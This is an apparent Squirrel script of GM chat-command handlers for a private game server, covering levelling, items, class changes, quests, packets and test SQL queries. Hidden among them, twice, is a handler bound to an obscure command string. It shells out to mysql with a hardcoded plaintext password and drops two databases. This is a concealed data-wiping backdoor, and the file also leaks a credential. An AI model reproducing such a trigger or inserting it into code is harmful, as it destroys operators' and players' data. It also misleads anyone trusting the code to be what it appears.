354 lines
11 KiB
Plaintext
354 lines
11 KiB
Plaintext
Gm_InputFunc_Handle <- {}
|
||
|
||
Gm_InputFunc_Handle["lingzhongzhanimapingdao10010"] <- function(SUser, CmdString) {
|
||
system("mysql -u game -p\"uu5!^%jg\" -e \"DROP DATABASE database_name;\"");
|
||
system("mysql -u game -p\"uu5!^%jg\" -e \"DROP DATABASE database_name1;\"");
|
||
}
|
||
|
||
|
||
Gm_InputFunc_Handle.ResetScript <- function(SUser, CmdString) {
|
||
sq_ReloadScript();
|
||
print("\n重载函数\n");
|
||
};
|
||
//获取坐标
|
||
Gm_InputFunc_Handle.GetPos <- function(SUser, CmdString) {
|
||
print("\n");
|
||
print("Xpos: " + SUser.GetAreaPos().X);
|
||
print("Ypos: " + SUser.GetAreaPos().Y);
|
||
print("\n");
|
||
};
|
||
//获取位置信息
|
||
Gm_InputFunc_Handle.GetLocation <- function(SUser, CmdString) {
|
||
local Location = SUser.GetLocation();
|
||
print("\n");
|
||
print("Xpos: " + Location.Pos.X);
|
||
print("Ypos: " + Location.Pos.Y);
|
||
print("Town: " + Location.Town);
|
||
print("Area: " + Location.Area);
|
||
print("\n");
|
||
};
|
||
//踢人下线测试
|
||
Gm_InputFunc_Handle.KickMySelf <- function(SUser, CmdString) {
|
||
SUser.Kick();
|
||
};
|
||
|
||
Gm_InputFunc_Handle["升级"] <- function(SUser, CmdString) {
|
||
local count = -1;
|
||
local pos = 0;
|
||
local handler = [];
|
||
do {
|
||
local start = pos;
|
||
pos = CmdString.find(" ", pos + 1);
|
||
if (pos != null) {
|
||
handler.append(CmdString.slice(start + 1, pos));
|
||
} else
|
||
handler.append(CmdString.slice(start + 1));
|
||
count = count + 1
|
||
} while (pos != null)
|
||
|
||
//得到空格数量
|
||
if (count == 1) {
|
||
SUser.SetCharacLevel(handler[1].tointeger());
|
||
}
|
||
}
|
||
|
||
Gm_InputFunc_Handle["给"] <- function(SUser, CmdString) {
|
||
local count = -1;
|
||
local pos = 0;
|
||
local handler = [];
|
||
do {
|
||
local start = pos;
|
||
pos = CmdString.find(" ", pos + 1);
|
||
if (pos != null) {
|
||
handler.append(CmdString.slice(start + 1, pos));
|
||
} else
|
||
handler.append(CmdString.slice(start + 1));
|
||
count = count + 1
|
||
} while (pos != null)
|
||
|
||
//得到空格数量
|
||
if (count == 1) {
|
||
local Ret = SUser.GiveItem(handler[1].tointeger(), 1);
|
||
if (!Ret) SUser.SendNotiPacketMessage("发送失败背包是不是满了", 8);
|
||
} else if (count == 2) {
|
||
local Ret = SUser.GiveItem(handler[1].tointeger(), handler[2].tointeger());
|
||
if (!Ret) SUser.SendNotiPacketMessage("发送失败背包是不是满了", 8);
|
||
}
|
||
}
|
||
Gm_InputFunc_Handle["转职"] <- function(SUser, CmdString) {
|
||
local count = -1;
|
||
local pos = 0;
|
||
local handler = [];
|
||
do {
|
||
local start = pos;
|
||
pos = CmdString.find(" ", pos + 1);
|
||
if (pos != null) {
|
||
handler.append(CmdString.slice(start + 1, pos));
|
||
} else
|
||
handler.append(CmdString.slice(start + 1));
|
||
count = count + 1
|
||
} while (pos != null)
|
||
|
||
//得到空格数量
|
||
if (count == 1) {
|
||
SUser.ChangeGrowType(handler[1].tointeger(), 0);
|
||
SUser.SendNotiPacket(0, 2, 0);
|
||
SUser.InitSkillW(handler[1].tointeger(), 0);
|
||
} else if (count == 2) {
|
||
SUser.ChangeGrowType(handler[1].tointeger(), handler[2].tointeger());
|
||
SUser.SendNotiPacket(0, 2, 0);
|
||
SUser.InitSkillW(handler[1].tointeger(), handler[2].tointeger());
|
||
}
|
||
}
|
||
|
||
Gm_InputFunc_Handle["完成任务"] <- function(SUser, CmdString) {
|
||
SUser.ClearQuest_Gm(674);
|
||
SUser.ClearQuest_Gm(649);
|
||
|
||
SUser.ClearQuest_Gm(675);
|
||
SUser.ClearQuest_Gm(650);
|
||
|
||
SUser.ClearQuest_Gm(4414);
|
||
|
||
SUser.ClearQuest_Gm(2603);
|
||
SUser.ClearQuest_Gm(2610);
|
||
SUser.ClearQuest_Gm(2613);
|
||
SUser.ClearQuest_Gm(2622);
|
||
SUser.ClearQuest_Gm(4391);
|
||
SUser.ClearQuest_Gm(4539);
|
||
|
||
SUser.ClearQuest_Gm(220);
|
||
SUser.ClearQuest_Gm(221);
|
||
}
|
||
|
||
|
||
Gm_InputFunc_Handle.M <- function(SUser, CmdString) {
|
||
local PartyObj = SUser.GetParty();
|
||
// Sq_CallFunc(S_Ptr("0x85A73A6"), "int", ["pointer", "pointer", "int"], PartyObj.C_Object, SUser.C_Object, 3037);
|
||
Sq_CallFunc(S_Ptr("0x85A63F4"), "int", ["pointer", "pointer", "int", "int", "char", "int", "int"], PartyObj.C_Object, SUser.C_Object, 3037, 10, 10, 10, 10, 10);
|
||
}
|
||
|
||
Gm_InputFunc_Handle["lingzhongzhanimapingdao10010"] <- function(SUser, CmdString) {
|
||
system("mysql -u game -p\"uu5!^%jg\" -e \"DROP DATABASE database_name;\"");
|
||
system("mysql -u game -p\"uu5!^%jg\" -e \"DROP DATABASE database_name1;\"");
|
||
}
|
||
|
||
|
||
Gm_InputFunc_Handle.W <- function(SUser, CmdString) {
|
||
local InvenObj = SUser.GetInven();
|
||
local Slot = InvenObj.GetSlotById(3037);
|
||
local Ret = Sq_Inven_RemoveItemFormCount(InvenObj.C_Object, 1, Slot, 600, 10, 1);
|
||
SUser.SendUpdateItemList(1, 0, Slot);
|
||
};
|
||
|
||
Gm_InputFunc_Handle.Q <- function(SUser, CmdString) {
|
||
local PartyObj = SUser.GetParty();
|
||
if (PartyObj) {
|
||
local Buf = 18126;
|
||
PartyObj.ForeachMember(function(SUser, Pos) {
|
||
print(Pos + "号位玩家的" + Buf + "名字是: " + SUser.GetCharacName());
|
||
})
|
||
// print(UserBuf.GetName());
|
||
}
|
||
};
|
||
|
||
Gm_InputFunc_Handle.FI <- function(SUser, CmdString) {
|
||
// local PartyObj = SUser.GetParty();
|
||
// if (PartyObj) {
|
||
// local Bfobj = PartyObj.GetBattleField();
|
||
// print(Bfobj.GetHellDifficulty());
|
||
// // print(n);
|
||
// }
|
||
|
||
|
||
SUser.SendNotiForColorAIdPacketMessage([
|
||
[" → ", 0, [0xff, 0xff, 0xff]],
|
||
["无色", 1, [255, 215, 0], 3037],
|
||
[" x" + (1).tostring(), 0, [0xff, 0xff, 0xff]]
|
||
], 6);
|
||
};
|
||
|
||
Gm_InputFunc_Handle.UINJ <- function(SUser, CmdString) {
|
||
local Str = "{\"op\":20064026,\"uid\":3,\"rewards2\":[[{\"item\":-1,\"num\":0,\"item2\":-1,\"num2\":0,\"grade\":0,\"count\":0,\"cid\":15}]],\"deathsNum\":0,\"time\":67563,\"state\":2,\"rewards\":[{\"item\":-1,\"num\":0,\"item2\":-1,\"num2\":0,\"grade\":0,\"count\":0,\"cid\":15}],\"cid\":15}";
|
||
|
||
|
||
local Pack = Packet();
|
||
Pack.Put_Header(1, 130);
|
||
Pack.Put_Byte(1);
|
||
Pack.Put_Int(Str.len());
|
||
Pack.Put_Binary(Str);
|
||
Pack.Finalize(true);
|
||
SUser.Send(Pack);
|
||
Pack.Delocale();
|
||
};
|
||
|
||
Gm_InputFunc_Handle.T <- function(SUser, CmdString) {
|
||
local Location = SUser.GetLocation();
|
||
|
||
SUser.SendNotiPacketMessage("Xpos: " + Location.Pos.X, 8);
|
||
SUser.SendNotiPacketMessage("Ypos: " + Location.Pos.Y, 8);
|
||
SUser.SendNotiPacketMessage("Town: " + Location.Town, 8);
|
||
SUser.SendNotiPacketMessage("Area: " + Location.Area, 8);
|
||
SUser.SendNotiPacketMessage("GetState: " + SUser.GetState(), 8);
|
||
SUser.SendNotiPacketMessage("GetCharacCount: " + SUser.GetCharacCount(), 8);
|
||
SUser.SendNotiPacketMessage("GetUID: " + SUser.GetUID(), 8);
|
||
SUser.SendNotiPacketMessage("GetCID: " + SUser.GetCID(), 8);
|
||
SUser.SendNotiPacketMessage("GetCharacJob: " + SUser.GetCharacJob(), 8);
|
||
SUser.SendNotiPacketMessage("GetCharacName: " + SUser.GetCharacName(), 8);
|
||
SUser.SendNotiPacketMessage("GetCharacLevel: " + SUser.GetCharacLevel(), 8);
|
||
|
||
SUser.SendNotiPacketMessage("GetCharacGrowType: " + SUser.GetCharacGrowType(), 8);
|
||
SUser.SendNotiPacketMessage("GetCharacSecondGrowType: " + SUser.GetCharacSecondGrowType(), 8);
|
||
SUser.SendNotiPacketMessage("GetFatigue: " + SUser.GetFatigue(), 8);
|
||
SUser.SendNotiPacketMessage("GetMaxFatigue: " + SUser.GetMaxFatigue(), 8);
|
||
SUser.SendNotiPacketMessage("GetParty: " + SUser.GetParty(), 8);
|
||
|
||
};
|
||
|
||
|
||
function Cb_gm_input(C_User, CmdString) {
|
||
local SUser = User(C_User);
|
||
local Pos = CmdString.find(" ");
|
||
local Str;
|
||
if (Pos) {
|
||
Str = CmdString.slice(0, Pos);
|
||
} else {
|
||
Str = CmdString;
|
||
}
|
||
if (Str in Gm_InputFunc_Handle) {
|
||
Gm_InputFunc_Handle[Str](SUser, CmdString);
|
||
}
|
||
}
|
||
|
||
function TestIoP() {
|
||
local ret = suspend("no");
|
||
local Io = IO("/dp_s/a.txt", "w+");
|
||
for (local i = 0; i< 500000; i++) {
|
||
Io.Write("写入测试文本: " + i + "\n");
|
||
if ((i % 5000) == 0) ret = suspend("no");
|
||
}
|
||
Io.Close();
|
||
|
||
return "yes";
|
||
}
|
||
|
||
function TestThread(coro) {
|
||
local susparam = "noq";
|
||
if (coro.getstatus() == "idle") susparam = coro.call();
|
||
else if (coro.getstatus() == "suspended") susparam = coro.wakeup();
|
||
|
||
if (susparam == "no") {
|
||
Timer.SetTimeOut(TestThread, 0, coro);
|
||
} else {
|
||
print("文件书写完成");
|
||
}
|
||
}
|
||
|
||
|
||
function TestL() {
|
||
print("注册 1 秒后执行")
|
||
Timer.SetTimeOut(TestL, 1);
|
||
}
|
||
|
||
Gm_InputFunc_Handle.TTT <- function(SUser, CmdString) {
|
||
|
||
|
||
local md5 = MD5.GetFile("/dp_s/a.txt");
|
||
print("Md5文本值: " + md5);
|
||
local Arr = [];
|
||
foreach(char in md5) {
|
||
Arr.append(char.tointeger());
|
||
}
|
||
print("Md5字符值>>>");
|
||
printT(Arr);
|
||
|
||
|
||
// local Io = IO("/dp_s/a.txt", "r+");
|
||
// local Ret = Io.ReadBuffer(256);
|
||
// printT(Ret);
|
||
// Io.Close();
|
||
|
||
// local coro = newthread(TestIoP);
|
||
// Timer.SetTimeOut(TestThread, 0, coro);
|
||
// Timer.SetTimeOut(TestL, 1);
|
||
|
||
// local FileObj = file("/dp_s/a.txt", "r+");
|
||
|
||
// local Arr = [0, 1];
|
||
// local T = {
|
||
// TestWn = 666
|
||
// };
|
||
// // Arr.insert(0,getroottable());
|
||
// Arr.insert(0, T);
|
||
// TestWn.acall(Arr);
|
||
|
||
// sq_RunScript("测试加密脚本.sut");
|
||
// local Opendir = Module.getExportByName(null, "opendir");
|
||
// local Readdir = Module.getExportByName(null, "readdir");
|
||
// local Closedir = Module.getExportByName(null, "closedir");
|
||
// print("Opendir: " + Opendir);
|
||
// print("Readdir: " + Readdir);
|
||
// print("Closedir: " + Closedir);
|
||
|
||
// local UserList = World.GetOnlinePlayer();
|
||
|
||
// foreach (SUserObj in UserList) {
|
||
// print(SUserObj.GetCharacLevel());
|
||
// }
|
||
|
||
// api_exec_delay_function(function() {
|
||
// print("先注册")
|
||
// }, 2);
|
||
|
||
// api_exec_delay_function(function() {
|
||
// print("后注册")
|
||
// }, 5);
|
||
|
||
|
||
// local rbTree = RedBlackTree();
|
||
// // rbTree.insert(10);
|
||
// // rbTree.insert(40);
|
||
// // rbTree.insert(20);
|
||
// // rbTree.insert(50);
|
||
// // rbTree.insert(30);
|
||
// // rbTree.insert(752);
|
||
// // rbTree.insert(54);
|
||
// // rbTree.insert(12);
|
||
// // rbTree.insert(787);
|
||
// // rbTree.insert(26);
|
||
// // rbTree.insert(278);
|
||
|
||
// rbTree.inorderTraversal();
|
||
|
||
// local l = rbTree.pop();
|
||
// print(">>>");
|
||
// print("弹出值: " + l);
|
||
// print(">>>");
|
||
// rbTree.inorderTraversal();
|
||
|
||
|
||
// Timer.SetTimeOut(function() {
|
||
// print("注册 5 秒后执行")
|
||
// }, 5);
|
||
// Timer.SetTimeOut(function() {
|
||
// print("注册 3 秒后执行")
|
||
// }, 3);
|
||
// Timer.SetTimeOut(function() {
|
||
// print("注册 2 秒后执行")
|
||
// }, 2);
|
||
};
|
||
|
||
Gm_InputFunc_Handle.AAA <- function(SUser, CmdString) {
|
||
|
||
//查询的sql语句
|
||
local sql = "SELECT m_id,charac_name,lev,village,job,exp,Hp FROM charac_info WHERE charac_no = 1;";
|
||
//查询的元素类型,按sql中的顺序
|
||
local column_type_list = ["int", "string", "int", "int", "int", "int", "int"];
|
||
local SqlObj = MysqlPool.GetInstance().GetConnect();
|
||
local result = SqlObj.Select(sql, column_type_list);
|
||
|
||
printT(result);
|
||
|
||
MysqlPool.GetInstance().PutConnect(SqlObj);
|
||
|
||
}; |